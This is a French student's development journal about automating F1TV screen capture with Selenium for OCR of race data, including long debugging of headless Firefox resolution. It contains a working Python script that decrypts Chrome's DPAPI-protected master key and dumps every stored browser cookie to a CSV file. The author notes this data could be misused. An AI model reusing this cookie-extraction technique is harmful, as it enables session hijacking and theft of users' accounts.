pour acc\u00e8der au contenu il faut \u00eatre connect\u00e9. Sauf que une instance de firefox cr\u00e9\u00e9 par Selenium est comme une page de naviguation priv\u00e9e, ce qui veut dire que si on va sur la page de la F1TV on est pas connect\u00e9s. Je pourrais tout \u00e0 fait demander \u00e0 l'utilisateur de me donner ses identifiants pour que j'aille ensuite automatiquement me connecter sauf que cela pose deux soucis: Personne ne voudra mettre ses identifiants sur mon programme La page de login de la F1TV a \u00e9t\u00e9 prot\u00e8g\u00e9e avec la meilleure technologie de detection de bots que je connaisse. Presque aucun site n'arrive \u00e0 me detecter sauf eux ! Donc c'est tout simplement impossible d'utiliser cette technique. Ensuite je me suis rappel\u00e9 que ce que la page stocke pour me permettre de rester connect\u00e9 ce sont des cookies. Et si je mets le bon cookies dans Selenium alors je serai connect\u00e9. Dans un premier temps je voulais faire un syst\u00e8me ou l'utilisateur irait prendre dans son chrome son cookie et le copie colle dans mon programme mais c'est immonde. C'est alors que vient la partie r\u00e9cup\u00e8ration de cookies ! Tous les cookies de chrome sont stock\u00e9s dans une base de donn\u00e9es SQLITE. On pourrait se dire Banco il suffit d'aller dedans et de retrouver tous les cookies et se connecter. Sauf que, pas b\u00eates, les \u00e9quipes de chrome ont d\u00e9cid\u00e9 que c'\u00e9tait une bonne id\u00e9e d'encoder les cookies pour que tout le monde ne puisse pas venir y mettre son nez... En effet les cookies peuvent contenir des informations importantes. Cela fait que pour utiliser ces cookies il faut pouvoir les d\u00e9coder. Mon hypoth\u00e8se a \u00e9t\u00e9 que si ces cookies peuvent \u00eatre lus par Chrome m\u00eame hors connexion, c'est que la cl\u00e9 de d\u00e9codage existe sur l'appareil et qu'il suffit de la trouver. ET C'EST LE CAS! Apr\u00e8s pas mal de recherches j'ai pu voir que la cl\u00e9 de d\u00e9codage existe bel et bien et qu'il suffit de la d\u00e9coder en utilisant la librairie DPAPI pour la lire. Avec cette cl\u00e9 on peut ensuite d\u00e9coder les cookies et leurs valeurs ce qui veut dire qu'il est th\u00e9oriquement possible d'automatiser le processus sans que l'utilisateur n'aie rien \u00e0 faire. J'ai d\u00e9cid\u00e9 de faire la partie r\u00e9cup\u00e8ration en python pour deux raison : Je n'arrivais pas \u00e0 trouver une bonne impl\u00e9mentation de DPAPI en C# qui me permettait de d\u00e9coder la cl\u00e9. Il existe beaucoup plus de documentation en Python pour ce qui est de la cryptographie et donc si Chrome change de fonctionnement il sera beaucoup plus simple de changer cette partie en particulier sans avoir \u00e0 recompiler le code C#. J'ai donc avec l'aide d'internet et de ChatGPT cr\u00e9\u00e9 ce script : def get_master_key (): with open ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Local State\" , \"r\" ) as f : local_state = f . read () local_state = json . loads ( local_state ) master_key = base64 . b64decode ( local_state [ \"os_crypt\" ][ \"encrypted_key\" ]) master_key = master_key [ 5 :] # removing DPAPI master_key = win32crypt . CryptUnprotectData ( master_key , None , None , None , 0 )[ 1 ] print ( \"MASTER KEY :\" ) print ( master_key ) print ( len ( master_key )) return master_key def decrypt_payload ( cipher , payload ): return cipher . decrypt ( payload ) def generate_cipher ( aes_key , iv ): return AES . new ( aes_key , AES . MODE_GCM , iv ) def decrypt_password ( buff , master_key ): try : iv = buff [ 3 : 15 ] payload = buff [ 15 :] cipher = generate_cipher ( master_key , iv ) decrypted_pass = decrypt_payload ( cipher , payload ) decrypted_pass = decrypted_pass [: - 16 ] . decode () # remove suffix bytes return decrypted_pass except Exception : # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key () cookies_path = Path ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Default \\\\ Network \\\\ Cookies\" ) if not cookies_path . exists (): raise ValueError ( \"Cookies file not found\" ) with sqlite3 . connect ( cookies_path ) as connection : connection . row_factory = sqlite3 . Row cursor = connection . cursor () cursor . execute ( \"SELECT * FROM cookies\" ) with open ( 'cookies.csv' , 'a' , newline = '' ) as csvfile : fieldnames = [ 'host_key' , 'name' , 'value' , 'path' , 'expires_utc' , 'is_secure' , 'is_httponly' ] writer = csv . DictWriter ( csvfile , fieldnames = fieldnames ) if csvfile . tell () == 0 : writer . writeheader () for row in cursor . fetchall (): decrypted_value = decrypt_password ( row [ \"encrypted_value\" ], master_key ) writer . writerow ({ 'host_key' : row [ \"host_key\" ], 'name' : row [ \"name\" ], 'value' : decrypted_value , 'path' : row [ \"path\" ], 'expires_utc' : row [ \"expires_utc\" ], 'is_secure' : row [ \"is_secure\" ], 'is_httponly' : row [ \"is_httponly\" ] }) print ( \"Finished CSV\" ) Ce programme va faire tout ce que j'ai expliqu\u00e9 et va ensuite stocker les r\u00e9sultats dans un CSV pour qu'il soit facile d'y acc\u00e8der depuis le C#. Alors oui cela pose certaines questions de s\u00e9curit\u00e9. Car en effet je prend tous les cookies, les d\u00e9code et les stocke. Ce qui veut dire que je pourrais tout \u00e0 fait envoyer ces donn\u00e9es quelque part, par exemple un compte Netflix, et me rincer. Si je devais rendre le projet ouvert au public je pense qu'il faudra que cela soit mentionn\u00e9 clairement et que le projet soit open source pour que les utilisateurs puissent verifier que je ne fais pas ca. Maintenant de l'autre c\u00f4t\u00e9 j'ai juste \u00e0 lire le CSV et le tour est jou\u00e9 ! (Trouver cette solution m'a pris une semaine de vacances \u00e0 l'\u00e9poque) Bon j'ai r\u00e9ussi \u00e0 faire le programme se connecter et naviguer etc.. Par contre quelque chose que j'ai voulu ajouter et qui m'a pris pas mal de temps c'est de faire en sorte de pouvoir selectionner la qualit\u00e9. Pour changer la qualit\u00e9 du feed il faut cliquer sur settings et ensuite prendre le menu deroulant et selectioner 1080p. Le soucis c'est le que la value du select est jamais la m\u00eame. Elle commence toujours pas \"1080_\" mais ensuite ca peut \u00eatre \"1080_45930285\" ou \"1080_56801\" la suite est apparemment random. J'ai donc du utiliser ce code pour le selectioner quand m\u00eame : IWebElement settingsButton = driver . FindElement ( By . ClassName ( \"bmpui-ui-settingstogglebutton\" )); settingsButton . Click (); IWebElement selectElement = driver . FindElement ( By . ClassName ( \"bmpui-ui-videoqualityselectbox\" )); SelectElement select = new SelectElement ( selectElement ); IWebElement selectOption = selectElement . FindElement ( By . CssSelector ( \"option[value^='1080_']\" )); selectOption . Click (); Sauf que pour que cela marche je dois avant cliquer sur le bouton des settings le probl\u00e8me c'est qu'il est invisible alors on doit le faire apparaitre. J'ai tent\u00e9 de le faire aparaitre en bougeant la souris, en cliquant \u00e0 un endroit pr\u00e9cis, impossible de le faire marcher correctement. Puis j'ai eu l'id\u00e9e de mettre pause en envoyant un appui sur la touche Espace et ca a permit de d\u00e9couvrir le bouton et permettre qu'on clique dessus. Ca peut paraitre tout b\u00eate mais rien que ca, ca m'a pris un temps consid\u00e9rable. Bon pour ce qui est du timecode de la vid\u00e9o. Je pense qu'il serait trop complexe de faire en sorte que selenium change le slider de progression de la vid\u00e9o. Alors j'ai fait quelques tests et apparemment, si on quitte la F1TV sur un timecode de la vid\u00e9o que on donne au programme, comme il r\u00e9cup\u00e8re tous les cookies de la F1TV il commencera de la. Donc si on veut utiliser le programme avec des Grand Prix ayant d\u00e9ja eu lieu, on peut le faire, seulement il faudra juste au pr\u00e9alable avoir choisit le bon timecode dans le page de la F1TV avant de le lancer. Ce qui est int\u00e9ressant c'est que la page de la F1TV ressemble \u00e0 ca au d\u00e9part : \"Empty F1TV\" Je pense qu'une bonne id\u00e9e serait de dire au programme que c'est la grille de d\u00e9part et ensuite d\u00e8s qu'il d\u00e9tecte un secteur il sait que la course a commenc\u00e9. Lundi 24 Avril 2023 Aujourd'hui c'est jour de documentation. J'ai pas mal travaill\u00e9 pendant les vacances mais je n'ai pas encore pu faire de vraie documentation correcte du fonctionnement. Du coup je vais m'en charger aujourd'hui et peut-\u00eatre un peu demain. Ok normalement je ne devrais faire que de la documentation mais je ne peux pas passer \u00e0 cot\u00e9 de ca... Le probl\u00e8me que j'ai avec les pneus ou parfois il d\u00e9tecte un H au lieu d'un '11' et ce genre de choses c'est \u00e0 cause de ma methode \"RemoveBG\" Qui va retirer tous les pixels plus sombres que le background. Sauf que cela va aussi retirer des pixels dans le chiffre lui m\u00eame et qui va donc defigurer les 11 : \"diformed 11\" \"diformed 11\" J'ai r\u00e9ussi \u00e0 les changer en : \"less diformed\" \"less diformed\" Mais au final cela n'a pas augment\u00e9 la pr\u00e9cision de la reconnaissance. Je pense que je vais donc devoir encore changer. Je pense que une bonne facon de trouver serait dabord de trouver la couleur du pneu. Et si il n'y a pas assez de couleur alors c'est que le pneu contient une lettre. Le but est d'arr\u00eater de chercher des lettres ou des chiffres. Comme ca les 11 arr\u00eateront d'\u00eatre pris pour des 'H' En fait on peut faire encore plus simple que ca. On peut simplement regarder la couleur dominante et determiner le pneu. En effet m\u00eame si il y a une lettre sur fond noir pour d\u00e9crire le pneu, mon methode de r\u00e9cup\u00e8ration de la couleur dominante ommet les pixels trop noirs alors il est quand m\u00eame possible de determiner le type de pneus. Et tout simplement si il n'arrive pas \u00e0 lire le chiffre c'est que c'est une lettre et que donc on est \u00e0 0 tours. Cela marche plut\u00f4t bien et cela simplifie pas mal le processing. Voila, la je vais me remettre \u00e0 la documentation sinon je vais encore prendre du retard. Mardi 25 Avril 2023 Encore une fois j'ai pris du temps de doc pour changer des choses sur la partie OCR. Mais en m\u00eame temps en documentant je vois des choses que j'ai soit mal fait soit que je pourrais faire mieux en changeant tr\u00e8s peu de choses. J'\u00e9sp\u00e8re que les changement que j'ai fait vont aider au moins \u00e0 la coh\u00e9rence du code et un peu pour les performances. Il semble que dans les conditions que j'ai test\u00e9 le nombre de tour soit plut\u00f4t fiable mais je pense que je devrai faire un peu de travail en aval dans la r\u00e9cup\u00e9ration de ces donn\u00e9es car je sens que cela va poser probl\u00e8me quelques fois. Je pense que en utilisant bien l'historique on peut potentiellement se passer de l'utilisation de ce chiffre pas toujours compl\u00eatement fiable. Mais sinon aujourd'hui c'est encore une fois un gros jour de doc. J'essaie d'expliquer les diff\u00e9rents proc\u00e9d\u00e9s avant de les oublier. J'essaie aussi de donner un maximum d'exemples sous formes de photos interm\u00e9diaires mais ca me prend pas mal de temps car il faut que j'ajoute un peu partout dans le code des lignes pour sortir des images interm\u00e9diaires. En plus de la documentation je me suis aussi beaucoup occup\u00e9 de nettoyer mon code et je suis assez content par ce que m\u00eame en ayant du rajouter des couches de complexit\u00e9 pour mieux reconnaitres les temps au tour j'arrive \u00e0 un temps de processing parfois en dessous des 2 secondes ce que je trouve honorable. Quand j'aurai finit de nettoyer tous mes fichiers je ferai une release sur gitea et ce sera la version que j'utiliserai quand je voudrai faire un merge avec les autres parties du projet. J'ai beaucoup beaucoup boss\u00e9 aujourd'hui et je sui bien mort. Faire autant de documentation et de nettoyage de code c'est pas forc\u00e9ment bon pour le cerveau je crois. J'ai besoin d'une sieste. Demain je pense que je vais commencer \u00e0 avancer sur la partie r\u00e9cup\u00e8ration des images. Je sais que la je fais un peu passer les tests \u00e0 la trappe mais d\u00e9ja j'en ai fait tout le long du d\u00e9veloppement de OCR_DECODE et il faut vraiment que j'avance, quitte \u00e0 revenir dessus quand j'aurai merge les deux projets ensemble. 26 Avril 2023 Aujourd'hui je vais devoir m'occuper de la partie r\u00e9cup\u00e9ration des images. J'ai d\u00e9ja eu l'occasion d'avancer sur ce projet pendant mopn poc et mes vacances. Donc la le but ca va \u00eatre de voir ce qui manque comme v\u00e9ritables features et ensuite je vais pouvoir m'occuper de la vue et de son int\u00e9gration avec le d\u00e9codage. Ok donc maintenant que j'au un programme qui arrive \u00e0 prendre des images depuis la F1TV correctement et en bonne r\u00e9solution. Je pense qu'il est temps de passer \u00e0 l'impl\u00e9mentation de la Forme que ca va prendre. C'est important de se poser au moins cinq minutes la question de comment je pr\u00e9vois de faire car m\u00eame si ca n'est pas la version finale, cette derni\u00e8re prendra tr\u00e8s fort inspiration du desing que je vais faire. Dans cette form j'aurais besoin de : Pouvoir selectionner un Grand Prix en ins\u00e8rant l'URL du feed. Pouvoir lancer la calibration si besoin Indiquer le titre et la date du Grand Prix Indiquer si le Grand Prix vient de commencer ou si il y a d\u00e9ja un certain nombre de tours lanc\u00e9s. Et c'est \u00e0 peu pr\u00e8s tout en fait... J'ai tellement pouss\u00e9 pour avoir un programme qui fait tout tout seul que il ne me faut pas grand chose de plus. Je pense que ce qui serait pas mal ca serait du coup d'utiliser ce temps pour bien impl\u00e9menter la calibration qui elle aura besoin d'une UI un peu plus bal\u00e8ze. On pourrait m\u00eame imaginer que la calibration fasse partie int\u00e9grante des settings... Ca serait peut-\u00eatre bien que quand l'application se lance on se retrouve sur la page principale d'affichage de donn\u00e9es et qu'on puisse simplement cliquer sur la page options qui contient la page calibration et qui permet de rentrer les infos du Grand Prix. Je pense que je vais faire ca. Voici l'interface que j'ai d\u00e9velopp\u00e9e pour regrouper tout ca : \"Screen\" La police le style le placement et les couleurs ne sont pas d\u00e9finitfs, cependant je pense que c'est un bon d\u00e9but. Le but maintenant va \u00eatre de permettre de faire fonctionner la calibration et la r\u00e9cup\u00e8ration d'images. Si j'arrive \u00e0 faire fonctionner ces deux choses sur un m\u00eame projet avant la fin de la semaine cela serait super ! Bon J'ai pu avancer sur l'int\u00e8gration de Selenium mais cela prend un peu de temps car je veux impl\u00e9metner un moyen de pouvoir prendre une Screenshot \u00e0 nimporte quel moment et pas juste en boucle. Demain je finis de faire fonctionner ca et ensuite je commence le cablage du reste. Jeudi 27 Avril 2023 C'est assez dur de faire l'importation car il y a des petites diff\u00e9rences qui obligent \u00e0 presque tout r\u00e9\u00e9crire. En fait le programme de calibration avait d\u00e9ja impl\u00e9ment\u00e9 la fonction de Windows et de Zones mais il fonctionnait juste assez diff\u00e9remment pour qu'il faille tout refaire. La je suis en train de perdre \u00e9norm\u00e9ment de temps \u00e0 cause d'un soucis de coordonn\u00e9es. J'ai repris le code de la calibration pour detecter ou l'utilisateur a cliqu\u00e9 pour cr\u00e9er les zones. Cependant, je n'arrive pas \u00e0 le faire fonctionner correctement. La zone est tout le temps d\u00e9cal\u00e9e en haut et en bas mais pas de la m\u00eame facon. En haut, la valeur Y est trop grande alors que en bas la valeur Y est trop petite... Je ne comprends pas bien pourquoi. Si c'\u00e9tait un simple d\u00e9calage cela ne serait pas compliqu\u00e9 \u00e0 g\u00e8rer mais la... J'ai un soucis \u00e9galement avec la r\u00e9solution des screenshots que je r\u00e9cup\u00e8re en full Headless. Voici un exemple de r\u00e9solution que j'arrive \u00e0 r\u00e9cup\u00e8rer sans le headless : \"High Res\" \"Low Res\" Il y a clairement un soucis et le probl\u00e8me c'est que avec une r\u00e9solution pareille, impossible de faire une reconnaissance correcte. BON J?EN PEUX PLUS LA. Ca fait des heures que je bosse sur ce probl\u00e8me d\u00e9bile et impossible de trouver une solution. J'ai essay\u00e9 cinq facons de forcer le browser headless a prendre une plus haute r\u00e9solution aucune ne fonctionne je ne comprends pas. A chaque fois que je me retrouve avec une r\u00e9solution de 1366 x 768 Ou une variante de basse r\u00e9solution du style. J'en peux plus je ne trouve aucune r\u00e9ponse sur internet ni m\u00eame avec chatGPT. Super... La seule chose que j'ai pu faire qui change quelque chose fait que les images font maintenant du 926x517... j'ai un peu envie de commentre un crime de guerre au plus vite. Vendredi 28 Avril 2023 Une des solutions que je n'ai pas encore essay\u00e9 est de changer ma version de GeckoDriver. Sauf que ca m'oblige \u00e0 changer les versions de mes libraries ce qui est tr\u00e8s p\u00e9nible, je vais continuer le debugging dans le projet Selenium_clean. Il faut savoir que la librairie de Selenium que j'utilise est bloqu\u00e9e en 0.27 ce qui fait que je ne peux utiliser qu'une version obsol\u00e8te du Gecko Driver. J'ai tent\u00e9 de changer vers une version en 64 bits du GeckoDriver 0.27 mais pareil, je me retrouve toujours avec des images de M. J'essaie toutes les solutions que je trouve sur internet aucune ne convient c'est infernal. J'essaie de changer la r\u00e9solution DPI, j'essaie de changer les param\u00eatres par d\u00e9faut des player de Firefox, j'essaie de changer la r\u00e9solution pendant et au d\u00e9but de l'execution IMPOSSIBLE DE FAIRE MARCHER CETTE MERDE C'EST PAS POSSIBLE !!! J'ai essay\u00e9 avec chrome mais je ne peux pas l'utiliser car les DRM m'emp\u00eacheront de prendre des screenshot du flux vid\u00e9o. J'ai essay\u00e9 de faire tourner avec edge mais edge ne peut pas tourner en headless. JE VAIS DEVENIR FOUF FPWQOVMQEKOVNVIBDBJDAIVOBI. ET MAINTENANT JE N'ARRIVE PLUS A FAIRE DE PROJET AVEC SELENIUM VOIWQNV(UEWQBVU)WEQN=OEJNIVIUWVBWUEV ON CHERCHE A ME FAIRE PETER UN PLOMB C'EST PAS POSSIBLE GIWEGUWEQN VOICI UN EXEMPLE DU CODE QUE JE DEMANDE A UN NOUVEAU PROJET AVEC EXACTEMENT LES MEMES LIBRARIES INSTALLEES : // Create a new FirefoxDriver instance IWebDriver driver = new FirefoxDriver (); // Navigate to the specified URL driver . Navigate (). GoToUrl ( \"https://www.example.com\" ); // Do something with the driver (e.g., find elements or take screenshots) // Quit the driver driver . Quit (); Je ne demande que ca ET MEME CA CA NE VEUT PAS FONCTIONNER VOIWENB)IWUQENV Oui je suis un peu \u00e9nerv\u00e9 ca se voit? A bon? Et maintenant NUGGET ne fonctionne plus... j'en peux plus la. Je ne peux plus t\u00e9l\u00e9charger de librairie sur aucun de mes projets... J'ai tent\u00e9 de supprimer le fichier de config et red\u00e9marrer Visual Studio mais cela ne fait rien. J'ai aussi tent\u00e9 de faire un 'nugget restore' toujours rien. Bon apparemment je ne suis pas le seul qui ne peut pas acc\u00e8der \u00e0 Nuget donc bon c'est pas juste chez moi qu'il y a un soucis. Mais m\u00eame en mettant ma 4G pour me connecter, je n'arrive pas \u00e0 acc\u00e8der \u00e0 certains sites y compris Nuget et je ne peux pas download de librairies... Je ne comprends pas ce qui se passe et du coup je ne peux juste pas bosser... J'ai red\u00e9marr\u00e9 trois fois mon pc et visual studio, j'ai essay\u00e9 de changer mes settings DNS etc... impossible de bosser. Je crois que je n'aurais pas du me reveiller aujourd'hui. Bon je vais tenter d'avancer sur mon poster en attendant que le r\u00e9seau soit en meilleur \u00e9tat. Lundi 1 Mai 2023 Bon je bosse depuis chez moi donc j'esp\u00e8re que Nuget va mieux fonctionner. Apr\u00e8s un weekend \u00e0 r\u00e9fl\u00e9chir au sujet de cette resolution je me suis dit deux choses. La seule personne sur internet que j'ai vu avoir le meme soucis avait une r\u00e9solution de 1920x1200 comme moi. Cela veut donc s\u00fbrement dire que le soucis vient de cette r\u00e9solution de laptop comme moi. Si vraiment je n'arrive pas dans un premier temps \u00e0 faire fonctionner le Headless correctement, je peux toujours laisser la page de c\u00f4t\u00e9 et m'occuper du reste du programme. Certes ca serait vraiment infernal d'avoir \u00e0 garder une page chrome ouvert en tous temps et en plus elle doit \u00eatre en plein \u00e9cran mais bon... Si il n'y a vraiment pas d'autres solutions malheureusement je serai bien oblig\u00e9. BON ! JE N'ARRIVE MEME PLUS A FAIRE UN PROJET QUI UTILISE SELENIUM ET QUI MARCHE JE VAIS FAIRE BR\u00dbLER GENEVE. C'est pas possible serieux, je ne comprends pas j'essaie tout ce que je trouve et impossible de juste lancer firefox c'est du grand nimporte quoi. Je prend les m\u00eame putain de librairies que sur les autres projets les m\u00eames versions, je prend le m\u00eame exact code. Sur le nouveau projet impossible de le faire fonctionner. Je commence \u00e0 croire que on essaie de me faire p\u00eater un cable. Du coup dans un \u00e9lan de d\u00e9sespoir je vais tenter de passer sur une autre librairie qui avec un peu de chance marche et en plus me permettrais de prendre des foutues screenshot dans le bon format. Les deux seules librairies qui pourraient potentiellement faire l'affaire sont les librairies : PhantomJS CefSharp Je vais les tester et simplement prier pour qu'elles fonctionnent et que je puisse faire ce que je veux avec. Alors pour le moment avec CEFSharp j'arrive \u00e0 lancer une instance de chrome et prendre une screenshot avec ce code : CefSettings settings = new CefSettings (); settings . CachePath = Path . Combine ( Environment . GetFolderPath ( Environment . SpecialFolder . LocalApplicationData ), \"CefSharp\\\\Cache\" ); // Set cache path settings . LogSeverity = LogSeverity . Disable ; // Disable logging Cef . Initialize ( settings ); // Initialize CEF using ( var browser = new ChromiumWebBrowser ( \"www.google.com\" , new BrowserSettings ())) // Launch Chromium in off-screen mode { browser . Load ( \"https://www.example.com\" ); // Navigate to the test URL browser . Size = new Size ( 1920 , 1080 ); // Set the browser size to 1920x1080 browser . ScreenshotAsync (). ContinueWith ( task => { var bitmap = task . Result ; bitmap . Save ( \"screenshot.png\" , System . Drawing . Imaging . ImageFormat . Png ); // Take a screenshot and save it as a PNG file }). Wait (); } Cef . Shutdown (); // Shutdown CEF Avec ca il faut ces using : using System ; using System.Drawing ; using System.IO ; using CefSharp ; using CefSharp.OffScreen ; C'est assez prometteur m\u00eame si il faut encore beaucoup pour remplacer selenium. Ah bah lol en fait non on peut pas utiliser cette librarie pour faire tourner firefox... J'EN AI MARRE J'AVAIS CHERCHE PRECISEMENT UNE LIB QUI MARCHE AVEC FIREFOX Et phantomJS non plus ne fonctionne pas avec firefox... J'en ai marre. Donc je vais plut\u00f4t partir sur la librairie GeckoFX qui semble pouvoir contr\u00f4ler une instance de firefox. Mais j'avais justement pris un putain de projet C# et pas JS pour ne pas me taper ces probl\u00e8mes de librairies... Et si cette option ne fonctionne pas mon dernier espoir sera de directement int\u00e9ragir avec le geckodriver.exe et la ca risque de pas \u00eatre dr\u00f4le. JE NE COMPRENDS RIEN !!!!! Ca n'a aucun sens la doc est inexistante le seul lien qui pourrait amener sur une doc envoie sur la page principale de bitbucket. Tous les exemples de code que je trouve ne fonctionnent pas. Je n'arrive \u00e0 rien je commence \u00e0 devenir fou. Tout ce travail pour rien c'est pas possible. M\u00eame en essayant directement d'int\u00e9ragir avec le process geckodriver.exe je ne peux pas arriver \u00e0 mes fins. J'arrive \u00e0 lancer le service et tout, mais je n'arrive pas \u00e0 vraiment contr\u00f4ler ce qu'il se passe donc impossible de venir prendre des screenshot. Je ne sais tout simplement pas quoi faire ... Je suis bloqu\u00e9. Je me suis cass\u00e9 la t\u00eate \u00e0 faire un truc qui marchait bien avec selenium et tout. Mais maintenant plus rien ne fonctionne du jour au lendemain et il n'y a simplement aucune alternative. Je vais essayer de changer directement le projet Selenium_Clean mais bon ca va pas \u00eatre dr\u00f4le. Ok alors j'ai tout repris depuis le d\u00e9but et je crois que j'ai enfin une solution. Pour la trouver j'ai re-essay\u00e9 toutes les techniques que j'avais tent\u00e9 avant mais dans l'ordre et en les isolant \u00e0 chaque fois. Cela inclus : Tenter de changer la densit\u00e9 de pixels. En effet je me suis dit que comme la r\u00e9solution \u00e9tait plus basse le soucis \u00e9tait que le virtual screen avait simplement une DPI r\u00e9duite. profile.SetPreference(\"layout.css.devPixelsPerPx\", \"2.0\"); J'ai aussi tent\u00e9 de r\u00e9duire \u00e0 un seule le nombre de process de Firefox. J'ai pu lire sur internet que parfois cela pouvait influer sur les performances du renderer. profile.SetPreference(\"dom.ipc.processCount\", 1); Ensuite j'ai tent\u00e9 tout b\u00eatement de rajouter dans la liste des arguments la taille voulue de l'\u00e9cran. options.AddArgument(\"--window-size=1920,1080\"); Mais comme cela ne foncionnait pas, je me suis rabattu sur un script JS pour tenter de forcer la fen\u00eatre \u00e0 \u00eatre plus grande. js.ExecuteScript(\"window.resizeTo(1920, 1080);\"); Comme cela n'a pas march\u00e9 j'ai pu lire que cela pouvait \u00eatre la taille int\u00e9rieure qui devait \u00eatre chang\u00e9e js.ExecuteScript(\"window.innerWidth = 1920; window.innerHeight = 1080;\"); Encore une fois sans succ\u00e8s. J'ai ensuite tent\u00e9 d'utiliser trois autres versions du GeckoDriver, 0.27,0.26,0.25 et aucune ne m'aidait. Mais en fait la seule chose qui a chang\u00e9 quoi que ce soit \u00e9tait la technique suivante : Changer la window size en utilisant : options . AddArgument ( \"--width=1920\" ); options . AddArgument ( \"--height=1200\" ); Ca ne marchait pas car j'utilisais une autre methode pour resize en m\u00eame temps, qui elle ne marchait pas mais qui emp\u00eachait celle la de marcher. Ensuite le soucis que j'avais c'est que en mettant 1920-1080 je me retrouvais avec 1920-998 ou un truc du genre ce qui n'\u00e9tait pas normal alors je me disais que cette technique ne marchait pas non plus et je l'ai pass\u00e9e. Alors tout n'est pas encore gagn\u00e9, il faut que j'arrive \u00e0 impl\u00e9menter ca dans un plus gros projet et que la vid\u00e9o puisse \u00eatre prise seule. Demain je m'occupe de ca. Mardi 2 Mai 2023 Bon aujourd'hui je change le programme principal. Le soucis que j'ai c'est que en ajoutant ce syst\u00e8me de resize, maintenant la page fait 100x100 et est grise. Il doit y avoir une technique que j'ai oubli\u00e9 de retirer ou un comportement un peu bizarrre. Bon clairement je ne sais pas QUI DECIDE DE ME POURRIR LA VIE mais il est fort. J'ai t\u00e9l\u00e9charger EXACTEMENT les m\u00eames librairies que sur mon autre projet et j'utilise l'EXACT m\u00eame geckodriver.exe mais dans le projet principal impossible de lui faire chier une image m\u00eame avec l'EXACT m\u00eame code. POURQUOI VOUS ME FAITES CA????= La je ne comprend vraiment pas ce qui peut se passer pour que rien ne fonctionne alors que tout est pareil. JE VIENS DE TOUT VERIFIER TOUT EST PAREIL JE NE COMPRENDS PAS. Bon apr\u00e8s avoir supprim\u00e9 l'int\u00e9gralit\u00e9 de ma classe Emulator cela semble marcher un peu mieux. Je ne vais pas m'\u00e9tendre sur la castrophe niveau temps que cela repr\u00e9sente. Si au moins j'arrive \u00e0 faire fonctionner quelque chose je suis content. Maintenant j'ai un soucis un peu sp\u00e9cial. Depuis que j'ai chang\u00e9 la r\u00e9solution, il semble que le programme aie du mal \u00e0 cliquer sur l'icone de settings. En prenant des screenshots du moment ou l'erreur apparait, j'ai pu me rendre compte que en fait le stream est toujours en train de charger et c'est pour ca que on arrive pas \u00e0 trouver le bouton : \"ERROR 105\" \"ERROR 105\" Je pense que je n'ai le soucis que maintenant car le flux en 1080p se lance moins vite. Je vais essayer de voir si je peux detecter un \u00e9l\u00e9ment d'HTML qui correspond au loading comme ca je peux attendre qu'il disparaisse. Sinon je peux aussi juste essayer de trouver le bouton en boucle pendant une dixaine de secondes. Bon la j'essaie pendant genre plus de 50 secondes et ca ne marche toujours pas. Il semblerait que au final le probl\u00e8me vienne du GP d'azerbidjan. En effet, quand je teste un autre Grand Prix tout va bien. ET MERDE ! J'ai r\u00e9ussi \u00e0 avoir des images en 1080P mais d\u00e9s que je passe l'image en plein \u00e9cran c'est de nouveau du 1366X768 Avant de mettre en plein \u00e9cran: \"Before fullscreen\" Apr\u00e8s: \"After fullscreen\" On peut voir sur l'image que l'option 1080P est effectivement bien selectionn\u00e9e mais il doit y avoir un param\u00e8tre de Firefox qui s'occupe de la r\u00e9solution d'un player vid\u00e9o. Il va juste falloir trouver ce param\u00eatre... J'ai essay\u00e9 d'utiliser : Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight); Sans succ\u00e8s. options.AddArgument(\"--start-maximized\"); Pareil Driver.Manage().Window.Maximize(); Toujours rien profile.SetPreference(\"full-screen-api.ignore-widgets\", true); Nada profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); Toujours pas J'ai vraiment cru que j'avais trouv\u00e9 la solution en trouvant cette commande profile.SetPreference(\"full-screen-api.enabled\", true); Mais non toujours pas... Je commence \u00e0 perdre patience. C'EST BON. Apr\u00e8s litt\u00e9rallement 3h de debugging avec M.Bonvin (Que je remercie IMMENSEMENT) on a r\u00e9ussi \u00e0 trouver au fin fond d'un thread github que la valeur \u00e9tait hard cod\u00e9e dans les variables d'environnement et que donc quoi que je fasse je n'aurais pas pu le changer. En fait la seul moyen de tout r\u00e8gler a \u00e9t\u00e9 de changer les variables d'environnement de ma machine: MOZ_HEADLESS_WIDTH et MOZ_HEADLESS_HEIGHT . Et ce qu'il y a de bien c'est que maintenant je peux mettre de la 4K et cela permet de faire un meilleur upscaling. Recrutement Payerne Mai 2023 J'ai du faire mon recrutement \u00e0 Payerne Mercredi et Jeudi. Si vous \u00eates curieux je peux vous dire que comme il n'y avait presque plus de places cet \u00e9t\u00e9 je ferai Canonnier Lance mines. C'\u00e9tait assez frustrant d'avoir perdu deux jours de travail mais on va faire avec. Vendredi 5 Mai 2023 Bon malgr\u00e9s les courbatures il faut que je me mette au boulot un peu serieusement par ce que sinon ca va \u00eatre compliqu\u00e9 de rattraper mon retard. La derni\u00e8re fois si je me souviens bien j'avais r\u00e9ussi \u00e0 trouver un moyen de prendres des images en bonne r\u00e9solution. Il faut maintenant que je commence \u00e0 faire fonctionner la calibration et ce qui serait bien ca serait que je commence \u00e0 ajouter la partie OCR au projet. Il faut que je me d\u00e9p\u00eache car Lundi je dois m'occuper du Poster. OK j'ai compris le soucis que j'avais quand j'essayais de faire la calibration. J'avais mis l'image en ZOOM ce qui fait que si la hauteur n'\u00e9tait pas la bonne, l'image \u00e9tait recentr\u00e9e ce qui fait que cela faussait totalement les r\u00e9sultats. Quand on fait en sorte que l'image prenne toute la place, les coordonn\u00e9es sont prises correctement. Voici un exemple d'ou en est la partie calibration. \"Exemple settings UI\" Normalement il me suffit d'impl\u00e9menter les windows, et on devrait relativement facilement ajouter les pilotes. Et voila. J'ai pu impl\u00e9menter les windows et les pilotes. Et je peux aussi exporter des presets et les loader. Bon le loading est un peu beugg\u00e9 au niveau de l'affichage mais il semble qu'il fonctionne bien quand je save les images. Lundi je m'occupe du poster etc.. mais je pense que la suite va \u00eatre l'impl\u00e9mentation de l'OCR. Lundi 8 Mai 2023 Aujourd'hui c'est journ\u00e9e Poster. Je pense que je ne vais pas finir la journ\u00e9e content car les limitations sont un peu trop pr\u00e9sentes. J'ai fait une version que Garcia pourrait accepter, c'est \u00e0 dire en 